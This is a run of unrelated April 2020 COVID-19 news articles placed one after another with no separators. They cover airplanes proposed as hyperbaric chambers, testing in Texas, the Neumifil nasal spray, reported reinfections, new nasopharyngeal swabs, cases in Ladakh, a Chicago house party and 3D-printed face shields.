distress. He believes that the solution to getting more oxygen in the bloodstream is not more ventilation but to make it easier for patients to breathe - which he says could be accomplished through HBOT. Lungfish, which is based in Cambridge, is now working to raise nearly $250,000 to fund a Canadian clinical trial on using HBOT in the battle against coronavirus. If the trial supports his theory, Reynolds says the treatment could be rolled out worldwide by emptying out airplanes - thousands of which have been grounded during coronavirus lockdowns - and converting them into field hospitals given that they're already fitted with pressure systems. Grounded airplanes could be turned into hyperbaric chambers to treat critically-ill coronavirus patients, according to a radical new proposal (file photo) Hyperbaric chambers are commonly used to treat breathing-related conditions by increasing the pressure outside the body. The higher pressure works in two ways: by pushing more air into the lungs so they don't have to work as hard, and by making oxygen more soluble so more gets into the bloodstream. Lungfish founder Dr Daniel Reynolds (pictured) came up with the idea in response to research which shows that the majority of coronavirus patients who are put on ventilators do not recover There is only a limited number of hyperbaric chambers in the world because they are only used in very specific medical and diving-related scenarios. But Reynolds and his team believe airplanes could serve as an alternative for the chambers because they regulate pressure in a similar manner when flying at altitudes where the air is too thin for people to breath. Currently, a large number of planes aren't sitting idle because fewer flights are taking off each day due to coronavirus travel restrictions. Reynolds says he's already spoken with aerospace companies about the steps that would need to be taken to convert planes into hospitals by removing seats and enabling them to operate with a pressurized cabin at ground-level. 'We've established that it could be done. What we need to establish is whether it should be done, and how,' he told the Cambridge Independent. Hyperbaric chambers like the one pictured are commonly used to treat breathing-related conditions by increasing the air pressure outside the body Reynolds suggests setting airplane cabins up like a normal hospital ward and implementing a cycle which would see the pressure increased to between 1.6 and 2 atmospheres for 90 minutes at a time. At the end of each cycle, the cabin would be depressurized before medical staff are allowed back in. Reynolds said the Canadian clinical trial he is helping raise money for would solidify the method by observing conditions that could be replicated on an airplane. Several other HBOT clinical trials are currently in the pipeline around the world. Dr Gerado Bosco, a professor at the University of Padua in Italy who specializes in hyperbaric therapy and biomechanics, is currently waiting for approval to begin testing HBOT to treat COVID-19 patients. He said that Reynolds' plan to use airplanes is 'intriguing' - but noted it is far too early to say whether it would be effective. Aerospace experts say it could be difficult to get airline companies to agree to converting their planes into hospitals due to the strain it could cause. Technion University Aerospace researcher Neta Blum told Engadget that repeated cycles of pressurizing and depressurizing the cabin could cause 'fatigue cracks' in the plane's fuselage - potentially deterring airlines from loaning aircraft out. WASHINGTON As President Donald Trump says his administration is working to rapidly expand coronavirus testing so the country can reopen, data provided by the White House shows that so far about 102,000 tests have been sent to Texas. Thats roughly a third of the tests administered in the state, which has ranked second to last in the nation in per-capita testing. Providing the tests is one part of the federal response to the COVID-19 outbreak in Texas that the White House detailed for Hearst Newspapers as Trump pledges to double the number of tests his administration is distributing. TESTING LAGS: Gov. Abbott sets May 1 reopening for most businesses, churches, malls, libraries It comes as the president pushes back on criticism that he hasnt done enough to help states combat the outbreak, especially when it comes to testing, which health officials say will be a central need as states including Texas begin to reopen. Trump said on Monday that testing for the disease has started to absolutely skyrocket and will be doubling again very shortly. Were deploying the full power and strength of the federal government to help states, cities, to help local government get this horrible plague over with and over with fast, Trump said. The response includes millions of face masks, hundreds of thousands of gowns and more protective equipment sent from the national stockpile, as well as billions in funding authorized by Congress. But for many local officials in Texas, it all comes back to testing much more is needed, they say, especially as Gov. Greg Abbott moves to reopen parts of the state economy on Friday. Houston Mayor Sylvester Turner has said the city needs to be able to administer between 3,000 and 5,000 tests per day at least three times the rate at which it is testing now. I know people want to open up. I got that, Turner said on Monday. What is very, very important is the testing. That determines where this virus is and how prevalent it is and whether or not were getting our arms around this virus its the testing for the city of Houston that we will continue to focus on. Abbott has called for Texas to up its testing to 30,000 a day as he allows his stay-at-home order to expire on Friday thats more than twice as many as the 14,000 tests that are currently given in the state per day, on average. Texas needs to be conducting 44,200 tests per day to reopen by the Harvard Global Health Institutes recommendations, according to three Rice University professors. The states one-day high so far is 17,469. Dr. John Hellerstedt, who leads the Texas Department of State Health Services, said this week that the federal government has committed to solving some of the supply chain problems that have been limiting some of our ability to test and the state is ready to ramp up testing. CORONAVIRUS LATEST: Keep up with COVID-19 news as it happens The federal response to COVID-19 in Texas includes: The federal response to COVID-19 in Texas includes: - Personal protective equipment from the Strategic National Stockpile, including 604,000 N-95 masks, 1.4 million surgical masks, 230,000 medical gowns, 4,000 coveralls, 281,000 face shields, 1 million gloves - Nearly 8 million stimulus checks sent to Texans, totaling $14.3 billion - More than $28 billion in loans for 134,000 small businesses - $2.6 billion from the Department of Health and Human Services and the Centers for Disease Control, including funding for healthcare providers and health centers - More than $378 million in federal emergency funding - More than $1 billion in federal transportation funding - More than $220 million in federal housing funding See More Collapse As of Tuesday morning, Texas had administered 300,384 tests. The federal government had sent Texas material for about 102,000 tests, according to the federal data. Most of those tests were sent to nine federally supported community-based testing sites, including four in the Houston area, one in San Antonio and one in Austin. The Food and Drug Administration has issued 70 emergency authorizations for new tests, including eight for serological tests, which can determine whether someone has recovered from the virus and possibly developed immunity to it. The administration says federal agencies, including the Department of Health and Human Services and the Federal Emergency Management Agency have surged millions of new tests and supplies to hospitals, the Indian Health Service, and other testing locations across the nation. On the other hand, the administration has stressed that the federal government is only one source of testing, and says it has worked to make it easier for private companies to produce and administer tests as well. Trump this week said pharmacies are starting to give tests on-site, which he said is a very big deal. He said his administration last week gave governors the names and addresses of private labs where they could find additional tests. Testing is not going to be a problem at all in fact its going to be one of the great assets we have, Trump said. ENCOURAGING SIGNS: President Trump holds up Houston as proof of progress on coronavirus So far in Texas, testing has lagged behind the rest of the nation. Twenty-six states in the U.S. are testing at least twice as many people per capita in some cases six times more according to a Hearst Newspapers analysis published April 11. Now Playing: 'COVID-19 in 60': Houston coronavirus news in a minute Video: Houston Chronicle Lawmakers from both parties agreed more are needed. Congress last week passed a spending bill that included $25 billion to ramp up testing efforts in the states. Every voice that I have heard across the nation is begging for tests, asking for more tests and asking the question why they have to wait and why they dont have the tests, said U.S. Rep. Sheila Jackson Lee, a Houston Democrat. You open the country, and every scientist and doctor says you have to have a testing protocol, so youre testing at least all those people who are going to be encountering people. Have we tested our postal workers? Have we tested our deliverers? Have we tested our restaurant workers? U.S. Rep. Joaquin Castro, a San Antonio Democrat, said San Antonio is projected to reach the peak of new cases next week. Yet today, the Trump and Abbott administrations are testing way fewer Texans than the more than 45,000 daily tests recommended by public health doctors, he said. Do President Trump and Governor Abbott really want people going to the movies this Friday night? Republican U.S. Sen. Ted Cruz said the administration has taken important steps to provide Texas with the support and resources it needs to combat this crisis and hes confident that Texas is moving in the right direction. But more is needed, and our work is far from over, especially when it comes to ensuring we have enough testing, a critical part of re-opening our economy and helping Texans safely return to work, Cruz said. Abbott on Monday said retail businesses, restaurants, movie theaters and malls across the state will be allowed to reopen May 1 at no more than 25 percent capacity and more businesses could be allowed to open mid-May. Houston-area health agencies on Monday detailed plans to ramp up COVID-19 testing, focusing on nursing homes and areas with majority-minority populations, communities that have been disproportionately affected by the virus. The city opened one new testing facility this week and the county opened two. We need more testing, said Dr. David Persse, the health authority of the city of Houston. Thats how we get ahead of the virus. Right now were still chasing the virus. People who are well-meaning, feeling totally normal are spreading the virus unknowingly, Persse said. Every one of us should get tested. ben.wermund@chron.com Irish Girl Guides (IGG) is inviting children and young people throughout Ireland to join its members doing a good turn each day during National Good Turn Week (April 27 May 3). During their annual National Good Turn Week, IGG members share their acts of kindness on social media using the hashtag #GoodTurns and encourage members of the public to do the same. Also read: Ladybirds, Brownies and Guides from Ardagh and Drumlish meet via Zoom They would particularly like children and young people to join them this year when so many people, including all those over 70 years, are unable to leave their homes. By carrying out good turns, it is hoped that young people will spread goodwill throughout the country, thereby boosting everyones spirits and making a positive impact on individuals, families, communities and on society as a whole. Younger children can help their parents with chores around the home (without being asked), such as tidying away toys and helping prepare dinner, while older children and teenagers may offer to go shopping for neighbours or to walk their dogs. Some may choose to do a good turn for the environment, like turning off the tap while brushing their teeth or picking up litter in their locality (keeping within two kilometres of home, of course). When girls join IGG, they promise to do a good turn every day. Given that there are 11,000 members, this makes a whopping total of 77,000 good turns every week! Some Girl Guides have been doing good turns for frontline workers in recent weeks, like baking home-made biscuits and cakes for them, while others have made posters and banners to support them. Girl Guides in Mullagh in Cavan prepared 115 patient care packs, which they dropped off for patients at the local hospital and nursing home. We welcome girls and young women from age five to join our organisation and even the youngest Ladybirds (the IGG branch for five to seven year olds) learn the value of Sharing and Caring, says IGG Chief Commissioner Amanda OSullivan The Ladybirds and Brownies (girls aged seven to 10) learn about different ways they can help others at home and at school while Guides (aged 10-14) and Senior Branch members (aged 14+) get involved in community action projects and learn to use their voices and their skills to improve the world around them. Ms OSullivan says: It doesnt matter what the good turn is, the important thing is that its something kind for someone else without being asked to do it. We hope that thousands of people throughout Ireland will join us in doing good turns and were asking everyone who is old enough to use social media to share their kind acts with the hashtag #GoodTurns. We all need to boost each others spirits at this time. Irish Girl Guides welcomes new members from age 5+ and volunteer Leaders from age 18+. No previous Guiding experience is necessary. To find out more, see www.irishgirlguides.ie or telephone 01 6683898. An antiviral drug that could be taken as a nasal spray can block the coronavirus from latching onto lung cells, according to laboratory trials. The medicine, marketed as Neumifil, was developed as a treatment for flu but may be able to prevent COVID-19, scientists say. A study by the University of St Andrews in Scotland found it could bind to the 'spike'-shaped proteins on the outside of the virus and stop it latching to cells found in human airways. Only lab tests have been done so far but the results, watched over by Public Health England, give hope that the drug could be used on COVID-19 patients. Scientists around the world are scrambling to find a cure for COVID-19 so countries can come out of lockdown without fear of a second outbreak. So far two of the most promising drugs, remdesivir and hydroxychloroquine, have not been found to be beneficial in clinical trials. The latter might even make the disease more deadly, some results have suggested. Neumifil works by blocking the coronavirus's interaction with structures called ACE-2 receptors in the airways, which are the virus's doorway into the body. These receptors are a big point of focus for scientists trying to stop the disease. Some suggest they could be a reason that smokers appear to have lower rates of serious illness when infected with COVID-19 - there is speculation that nicotine may reduce numbers of the receptors, blocking access. But scientists also say they may have a protective effect in the lungs and low levels are linked to worse damage from viral infection. Other studies have shown smoking raises levels of ACE-2 receptors. A new Scottish antiviral drug is being rushed into clinical trials after it successfully treated coronavirus in lab studies overseen by Public Health England. University of St Andrews researchers, behind the drug , say they envisage it being given to patients via a nasal spray The drug (shows as mCBMs) works by binding to the virus and blocking it from hooking onto cells in the airways and invading the body Neumifil was created by Pneumagen Ltd, a spin-off company from the University of St Andrews which focuses on new treatments for infectious diseases and cancer. Unlike most antiviral drugs, which attack viruses, it works by binding to sugar molecules both on the surface of respiratory cells - those in the airways and the lungs - and on the virus. This hinders the ability of the virus to attack the respiratory cells by latching its unique 'spike' proteins onto the ACE-2 receptors. Lead researcher Gary Taylor, professor of biology at St Andrews, told MailOnline: 'Classic antivirals actually attack some part of the virus's machinery, whereas our drug actually inhibits the virus from even getting into cells. 'We envision it being given as a nasal spray, and imagine it being given weekly or every other day. HOW IS NEUMIFIL SAID TO PREVENT AND TREAT COVID-19? Most antiviral drugs work by attacking viruses or blocking their ability to multiply and spread in the body. But Neumifil is said to inhibit the virus from even getting into cells. It binds to sugar molecules which are on the surface of all cells in the respiratory tract. These same types of carbs are on the surfaces of virus' spike proteins, which it uses to enter cells. This hinders the ability of the virus to unleash its spikes and attach itself to ACE-2 receptors. ACE-2 receptors, which are found on cells in the airways and lungs, have been said to work as the virus' doorway into the body and to 'facilitate' infection. Advertisement 'Our drug binds to sugar molecules which are on the surface of all cells in the respiratory tract. 'These same types of carbs are on the surfaces of virus' spike proteins, which it uses to enter cells. 'The spike protein has complex carbohydrates attached to it, and we supposed that our drug binds to these and blocks access of the spike protein to its ACE-2 receptor. 'Likewise, ACE-2 is sitting on a cell surface which is covered in complex carbohydrates. Our drug also binds to those, and being a relatively large molecule, blocks the ability of ACE-2 to bind to the spike.' Some scientists have suggested that smoking cigarettes may actually protect people against the coronavirus by altering levels of ACE-2. ACE-2 is the virus' route into the body, therefore having more of them would seem to be a bad thing. But scientists say they may have a protective effect in the lungs and low levels are linked to worse damage from viral infection. A study published earlier this month by researchers in New York and Athens suggested that while the virus causes lung damage by depleting the numbers of ACE-2, smoking actually increases the number of them, reversing the effect. In the University of St Andrews lab trials, Neumifil was able to both prevent and treat coronavirus infection in three separate studies in test tubes. The studies were conducted at Public Health England's Porton Down lab in Wiltshire, and at the University of Glasgow's MRC Centre for Virus Research. Following the promising results, scientists are now pushing to have the drug trialled on animals and eventually humans. However, it could be the first quarter of next year before the drug is ready to be rolled out. Pneumagen had already been developing Neumifil to treat respiratory tract infections (RTIs) including the flu and respiratory syncytial birus (RSV). But the Fife-based firm switched its research focus to treating COVID-19 amid the pandemic. Douglas Thomson, CEO of Pneumagen, said the goal was now to 'rapidly' push the drug through clinical trials, first on animals then on humans. He said: 'Today's positive results from in vitro studies... against coronaviruses show that glycan binding has the potential to prevent and treat infection. 'This further supports the value of our universal therapeutic modality to block access to lung cells of SARS-CoV-2, as well as other viruses, that cause respiratory tract infections, providing the potential for a pan-viral respiratory product. 'Our goal is now to rapidly begin clinical testing for the prevention and treatment of COVID-19.' The Syracuse.com | The Post-Standard police blotter of arrests from police agencies around Central New York has been updated today. Most of the new arrests are from the last couple weeks. Due to the coronavirus pandemic, many police agencies that normally provide arrests are not able to do so. Therefore the numbers of weekly arrests are significantly lower than usual. (Natural News) A doctor is warning that a new strain of the coronavirus may be emerging. Medical contributor Dr. Janette Nesheiwat raised the possibility in an interview with Fox News after reports from South Korea revealed that some patients, who had recovered from the disease, have tested positive again. Recovered patients are getting reinfected In South Korea, which has been lauded for its comprehensive COVID-19 testing strategy, some patients who had been cleared of COVID-19 infection have tested positive again. On Tuesday, the Korean Centers for Disease Control (KCDC) reported that eight more recovered patients have received similar results, bringing the total of relapsed patients in the country to 124. But the reinfection cases in South Korea arent the only ones being reported. In Chinas Guangdong province, health officials have found that 14 percent of recovered patients are retesting positive for the coronavirus. This number includes a patient who died five days after he was discharged and tested negative more than once. In Wuhan, ground zero of the coronavirus pandemic, up to 10 percent of cleared patients are also testing positive for a second time. Meanwhile in Japan, at least one recovered patient a tour guide from Osaka has tested positive again after previously testing negative for the coronavirus. The emergence of a new, mutant strain of the coronavirus (SARS-CoV-2) responsible for the outbreak in many countries is just one possible reason why reinfections are happening. Talking to Fox News, Nesheiwat enumerated several other possible reasons that could be causing these cases. False negatives due to sampling errors One very likely explanation, according to Nesheiwat, is that the patients had previously gotten false negative results. This means that the patients still had the virus in their systems when they got tested, but the test was somehow unable to detect the virus. This could be because the sampling was done incorrectly. Maybe when whoever was conducting the nasal swab, for example, they didnt get enough specimen which means they will get a false negative, Nesheiwat explained. While the sampling procedure is straightforward it simply involves inserting a swab deep into a suspected patients nose its still easy for clinicians to make mistakes. Its not rocket science, but you have to be trained to do it, said Catherine Klapperich, the director of the Laboratory for Diagnostics and Global Healthcare Technologies at Boston University. Inaccurate testing also giving positive results Issues with testing could also be behind the positive results some previously cleared patients have received. According to experts, the PCR test used to detect the presence of the virus is not sensitive enough to distinguish between an active virus and a residual virus. What many people dont understand is that PCR tests simply for the virus genetic material and it is not an assay for active virus, said Richard Condit, a molecular biologist and professor emeritus at the University of Florida College of Medicine. While recovering from a viral infection, the body clears what Condit calls the virus litter, or the inactive debris of viral cells, from the lungs. There are times, however, when patients cough this litter up into their throats. If they get tested after doing so, the test might mistake this for an active infection when, in fact, it is not. Dormant viruses resurging Another possible explanation as to why recovered patients are testing positive again could be that the amount of the virus in their bodies had previously dipped to a point where it could no longer be detected, hence the negative results. However, their viral loads may have spiked again sometime after being discharged, resulting in their current situation. They could have had low levels [of the virus] that the test wasnt picking up and started to replicate again, said Brianne Barker, an associate professor of biology at Drew University in New Jersey. Other viruses are known to reactivate after long periods of latency in the body. One example of this is the varicella zoster virus, the herpesvirus responsible for chickenpox and shingles. Tracking new strains If the cause for these strange results some recovered patients are getting is indeed a new mutant strain of SARS-CoV-2, then it isnt something unprecedented. Scientists have been tracking at least eight different strains of the coronavirus across the globe since the outbreak that started in Wuhan became a massive pandemic. The question now is whether reinfections are indeed happening because of new strain and, more importantly, if this new strain can prevent people from gaining immunity. In South Korea, the KCDC is already hard at work trying to answer these questions. The virus will be divided and incubated, and genes will of course be analyzed, said KCDC Deputy Director Kwon Jun-wook. We are closely looking into possible genetic changes. The good news is that the coronavirus responsible for the current pandemic does not mutate very fast. According to Kristian Andersen, a professor at Scripps Research, the virus mutates 10 times more slowly than the influenza virus. The current virus strains are still fundamentally very similar to each other, Andersen explained. If this is the case, then scientists should be able to catch the emergence of new ones. Sources include: DailyStar.co.uk TheTimes.co.uk QZ.com USAToday.com Researchers at the Wyss Institute at Harvard University, in collaboration with healthcare, research, and industrial partners, have designed a new, fully injection-molded nasopharyngeal swab that can be manufactured quickly and inexpensively at high volume to help address the nationwide and international shortage of swabs for COVID-19 testing and research. The swabs are moving into human trials at SUNY Downstate Medical Center in New York and Translational Genomics arch Institute (TGen), an affiliate of City of Hope in Arizona, which should be completed by the end of next week, and are in preclinical evaluation at six additional hospitals. Data from the two trials will be used to inform larger trials with COVID-19 patients, and California-based medical device manufacturer IPB, Inc. has been working around the clock to ramp up production of the new swabs to reach 200,000 per day by May 15. "Experts have recently estimated that the United States needs to more than triple the number of daily COVID-19 tests in order for the country to be safely reopened by mid-May, but the current swabs are complicated to make, and producers just don't have the ability to increase production to that level in such a short period of time," said Richard Novak, Ph.D., a Senior Staff Engineer at the Wyss Institute who has been leading the multi-institutional effort to develop a fully injection-molded swab, working with the Wyss Institute's Founding Director Donald Ingber, M.D., Ph.D. "These new swabs can help meet the critical need for collecting samples, both to diagnose patients and to study the virus itself so that treatments and a vaccine can be found sooner." The project began just over a month ago when clinician-researchers at Beth Israel Deaconess Medical Center (BIDMC) reached out to Ingber asking for help to solve the hospital's swab shortage as the COVID-19 pandemic was blossoming. Ingber, Novak, and a team of Wyss researchers joined the multi-disciplinary effort, quickly realizing that not only could they design a swab replacement, the Wyss Institute's unique position at the intersection of academia and industry meant that it could bring together clinicians who needed swabs, researchers who were developing them, and manufacturers who could rapidly produce them at low cost, streamlining the process to get the swabs into the hands of doctors and nurses as quickly as possible. The Wyss Institute site on the Longwood campus is physically connected to Beth Israel Deaconess Medical Center, so it makes sense that they would think of the Wyss Institute as an innovation partner with the capability to solve this type of open-ended problem. We were in the midst of figuring out how to shift our staff to work remotely while also starting new COVID-19-related research efforts at the Institute; but the shortage of swabs is such a pressing problem that the decision to help solve it was a no-brainer." Donald Ingber, M.D., Ph.D., Wyss Institute's Founding Director, the Judah Folkman Professor of Vascular Biology at Harvard Medical School and Boston Children's Hospital, and Professor of Bioengineering at the Harvard John A. Paulson School of Engineering and Applied Sciences (SEAS) Designing and delivering a better swab The nasopharyngeal swabs that have been used in hospitals for more than 50 years consist of two pieces: an injection-molded plastic handle and an absorptive tip made of a soft material such as cotton, polyester, or flocked nylon. Each swab is manufactured in a multi-step process, then assembled, sterilized, and packaged, all of which requires significant time and expense. As part of the overall effort to create a more streamlined alternative, other teams have leveraged 3D printing to meet this challenge, which has led to some useful short-term solutions. However, 3D printing is currently costly and can only be done at scale by a limited number of suppliers. The Wyss team set out to create a new design that could be manufactured using injection molding rather than 3D printing, because injection molding is faster, less expensive, and is routinely used by a broad range of experienced medical device manufacturers worldwide. "We've essentially had to build a medical device company from scratch because we're trying to create a new product, demonstrate that it works, and ship it to customers who need it quickly, and to do that, you need to figure out production, manufacturing, packaging, quality control, clinical trials, etc.," said Novak. In addition to Novak and Ingber, the Wyss team includes members from across the Institute who have contributed their diverse skills to address different facets of the project, including Dave Perry, Ramses Martinez, Isabel Chico-Calero, Adama Sesay, Pawan Jolly, and Jenny Tam. In mid-March, Ramy Arnaout, M.D., Ph.D. and James Kirby, M.D., who lead the Clinical Microbiology Laboratory at the BIDMC, began collaborating with the Wyss team, who developed and tested new swab designs that they 3D printed and showed each other via video calls and email, as social distancing measures prevented them from physically working in the same space. Over repeated trials, they eventually settled on a design with a flexible, honey-dipper-like tip that could be injection-molded. The Wyss team has now sent prototype injection-molded swabs produced by Proto Labs to eight hospitals and health centers for preclinical testing, in which clinicians are evaluating the swabs' performance on a variety of fronts including their comfort and ease of use, as well as their ability to collect a large enough sample with detectable amounts of viral RNA. This week, the swabs are being tested in human subjects who will receive a normal swab in one nostril and a prototype of the Wyss-designed swab in the other. If the new swabs can collect a sample that contains detectable genetic information while being as easy-to-use and comfortable as the existing swabs, IPB will ramp up production of the final injection-molded design, which will be used in future clinical trials and, the team hopes, become widely adopted by the medical community in testing patients for COVID-19. "The speed with which all this is happening is incredible - it is always a challenge to efficiently design a new product even within a standard timeframe, and the pandemic has brought challenges that need to be resolved in weeks, even days, which has reminded us how well we can adapt to unexpected situations," said Martinez, a Research Assistant who has been working on the design and iteration of the Wyss' prototype swabs. "Besides addressing the immediate need for swabs, we think that this new design can have sustained use beyond the pandemic because its manufacturing process is cheaper and more streamlined, making it viable in economies outside the United States and hopefully preventing such a shortage from happening in the future." Cross-country collaborations From the beginning of the project, the team has been committed to ensuring that their swabs are accessible to hospitals and research facilities around the country to expedite testing, and are part of the Mass General Brigham Center for COVID Innovation that includes members from the majority of hospitals in the greater Boston area. The Center's Swab Working Group meets regularly via videoconference to update each other on their progress and needs, and has made their designs and prototypes freely available through GitHub. The group also facilitates talks with manufacturing partners to coordinate the production, packaging, and delivery of the swabs to hospitals and testing centers, including local companies in Massachusetts and New Hampshire. "I've been really impressed by how collaboratively all these hospitals and companies are working with each other - it shows that the people involved are genuinely invested in developing solutions to save lives during this crisis, in any way they can," said Perry, a Staff Engineer at the Wyss Institute who is working on packaging and sterilization solutions for the swabs. Reaching out and making connections across miles and time zones is what has allowed this week's trials to take place at SUNY Downstate in New York City and TGen's Pathogen and Microbiome Division, TGen North, in Arizona. TGen North Clinical Laboratory is testing the new Wyss swabs side-by-side against existing swabs on volunteers from its research labs, and is also processing COVID-19 tests for several counties and tribal nations in northern Arizona. "We've noticed that the biggest bottleneck in clinicians sending us samples to test is that the swabs they use are in short supply, and are backordered at all the major manufacturers," said Tim McDaniel, Ph.D., the Senior Vice President of Emerging Opportunities at TGen. "Having additional manufacturers with the ability to produce swabs on a massive scale will be a huge benefit to medical groups around the country, and we are proud to be helping evaluate the Wyss swabs to further that effort." At SUNY Downstate, the swabs are being used alongside existing swabs to collect samples from healthcare workers in the emergency, intensive care, and inpatient departments as part of a small trial to determine if people who are infected with the coronavirus but aren't showing symptoms can still transmit the virus to others. The hospital's Department of Pathology is also working with the Wyss Institute on plans for a larger clinical trial to evaluate the swabs' performance based on data from the ongoing trial. "One of the silver linings of this pandemic is that it has really galvanized institutions to reach out to each other and work on solving shared problems together," said Noriyuki Murakami, M.D., a Clinical Assistant Professor in Downstate's Department of Medicine and an academic hospitalist overseeing residents at the University Hospital of Brooklyn. "This is the first time we've collaborated with the Wyss Institute, and it's been a great development for SUNY Downstate - we hope this trend continues with other institutions as well." Ingber added, "the solution to this crisis will come from the responses of scientists, engineers, and clinicians working individually and collaboratively around the world. We at the Wyss Institute are proud to be part of the solution; this is precisely why the Institute was created in the first place." Two members of a family were tested positive for coronavirus in Ladakh, taking the total number of cases in the union territory to 22, a senior government official said on Tuesday. However, 16 of the patients were already cured and discharged from hospitals. "We have received 32 sample reports from NCDC (National Centre for Disease Control), New Delhi and two of them are positive," Commissioner Secretary (Health) Rigzin Samphel told reporters here. He said both the cases are members of the same family hailing from Sankoo village, which was already declared a containment zone last month. "They had returned to Kargil from Delhi on February 29. We have identified 29 contacts of these people and segregated them in high-risk and low-risk categories, besides taking their samples for testing," he said. Samphel said the 11 people in the high-risk category were shifted to isolation wards, while 18 others in the low-risk category were put under home quarantine. Meanwhile, over 230 stranded passengers left Leh in a fleet of 29 vehicles, including four SRTC buses, for their homes in Zanskar sub-division of Kargil district on Tuesday morning. With this, a total of over 850 residents of Zanskar who were left stranded in Leh and Kargil due to the lockdown imposed to curb the COVID-19 spread have reached their homes, the officials said, adding that they were directed to remain in home quarantine for the next 14 days. Welcoming the evacuation of the stranded passengers, Chairman and Chief Executive Councillor, LAHDC, Kargil Feroz Ahmad Khan appealed to Lieutenant Governor Radha Krishna Mathur for facilitating inter-state movement of stranded people of Kargil in different parts of the country and provision of security for bringing these passengers back home. In a letter to the LG Ladakh, Khan stated that in view of the prevailing situation due to COVID-19 and the problems being faced by the residents of Kargil stranded outside UT Ladakh due to the extended lockdown, subsequent cessation of traffic, besides hot climatic conditions, LAHDC Kargil would like to propose that it will make all necessary arrangements for bringing the residents of Kargil back home via surface transportation. "LAHDC (Ladakh Autonomous Hill Development Council) Kargil also plans to utilise the services of stranded taxis, private vehicles as well as SRTC and disaster management resources for ferrying residents back to their homes while strictly adhering to the standard operation procedures and guidelines issued by authorities with regard to COVID-19 mitigation," he said. Khan has assured the LG Ladakh that due screening of all the returnees would be ensured before their entry into the district at a feasible location. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Revelers flagrantly ignoring social distancing measures in viral footage have been told 'you're literally putting everyone around you in danger', by a state governor. A viral video, allegedly showing a large number of people willfully violating stay-at-home orders at a house party in Chicago, on Sunday, has received condemnation by Illinois Governor J. B. Pritzker. Democrat Pritzker said the partygoers in the video shared on Facebook Live had violated not only the 'intention' of the 'Stay at Home' Order, 'but also violated the trust of friends and family.' The video, which received more than 1.4 million views and over 60,000 shares on Sunday, also received condemnation from Chicago Mayor Lori Lightfoot, also a Democrat. Mayor Lightfoot vowed to hold to account those who 'threaten our public health and risk erasing the progress we have made'. Pictured: A large number of revelers seen in close proximity at an unknown house party in Chicago on Sunday Pictured: Some of the revelers. Many were seen wearing face masks, but many were not Pictured: Illinois Governor J. B. Pritzker, 'you're literally putting everyone around you in danger' The Facebook Live video appears to have been shot at an unknown location, in Chicago, on Sunday. In it, people can be seen standing shoulder-to-shoulder, dancing, and not social distancing. Some can also be seen wearing face masks, but not all. This, in the same week Governor Pritzker extended statewide stay-at-home orders until May - and in violation of the Centers for Disease Control and Prevention's directive to maintain a distance of at least six feet. During a press briefing on Sunday, Governor Pritzker said the revelers had 'violated not only the intention of the order that we put out but also violated the trust of friends and family,' according to a Fox News report. He added: 'I have not seen the video though I did hear about it. First, I want to remind everyone that by doing that, by standing together, not social distancing, many people not wearing masks, you're literally putting everyone around you in danger. 'They are putting you in danger and, very importantly, all of those people are putting their families and their friends who are not there with them in danger.' He said officials largely opted to allow citizens 'to self-enforce, to do the right thing', amid the stay-at-home directive. Chicago Mayor Lori Lightfoot took to Twitter to say the partygoers' behavior was 'reckless and utterly unacceptable.' Chicago Mayor Lightfoot added in another tweet she would hold those responsible to account She added: 'I know this is a very difficult time for Chicagoans, but there is a reason we are asking you to stay home and socially distance: it saves lives. 'While most Chicagoans are doing their part to prevent the spread of COVID-19, reckless actions like these threaten our public health and risk erasing the progress we have made. We will hold those responsible accountable. I am asking everyone to be in this together.' Governor Pritzker said he would allow people who flout social distancing to be charged by police 'with reckless conduct and take them into custody', but that he preferred not to go down that route believing people would 'follow the rules'. Mayor Lightfoot said people can tip-off Chicago police about house parties, anonymously, at cpdtip.com. 'The fewer people who comply with the 'Stay At Home' Order, the sicker our residents will get and the harder it will be for us to recover,' Mayor Lightfoot said. A tweet from Chicago Police saying it had been unsuccessful in tracking down where the alleged Chicago house party happened Chicago Police said it had been unsuccessful in tracking down where the alleged Chicago house party happened, but that it broke up similar gatherings over the weekend. 'We are aware of a video circulating on social media depicting a large house party inside of an alleged Chicago residence,' it wrote on Sunday. 'While we cannot authenticate the nature or location of the gathering, we want to remind everyone of the social distancing requirements in place.' Illinois is ramping up its testing of COVID-19, allowing anyone with symptoms to be checked. On Friday, the state reported a record daily spike in new cases after more than 2,700 cases were confirmed in just 24 hours. According to Johns Hopkins University data, Illinois is the US state with the fourth-largest number of confirmed coronavirus cases in the country, and is ranked fifth for fatalities. It reported some 43,903 infections by Monday, with at least 1,933 COVID-19-related deaths. More than 1.01 million Americans have been confirmed to have fallen ill with COVID-19, and the death toll was nearing 57,000 as of early Tuesday morning. Divide By Zero Technologies (DBZ), a Navi Mumbai-based manufacturer of industrial 3D printers, is in overdrive to produce face shields to protect healthcare workers on the frontline from potential COVID-19 infection. What started early this month in a small way to supply face shields to doctors and other healthcare staff in COVID-19 wards of Mumbai's Nair Hospital, has expanded to other hospitals in the city such as Sion Hospital, Kasturba Hospital, MGM Hospital, among others. Even the Indian army has placed an order for 25,000 face shields. In about three weeks DBZ has managed to manufacture 45,000 face shields. Safety equipment shortage India is scrambling to address the shortage of ventilators, personal safety equipment and UV sterilisation robots. High import dependency and a broken supply chain globally are making matters worse for procuring medical devices. Against this backdrop, Indian research institutions and companies have started banking on 3D printing as a quick fix. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show A typical 3D printer is very much like an inkjet printer operated from a computer. It prints 3D objects by successively adding material (usually liquid plastic) in layers according to the instructions of the computer file. The process is called additive manufacturing. The technology evolved from 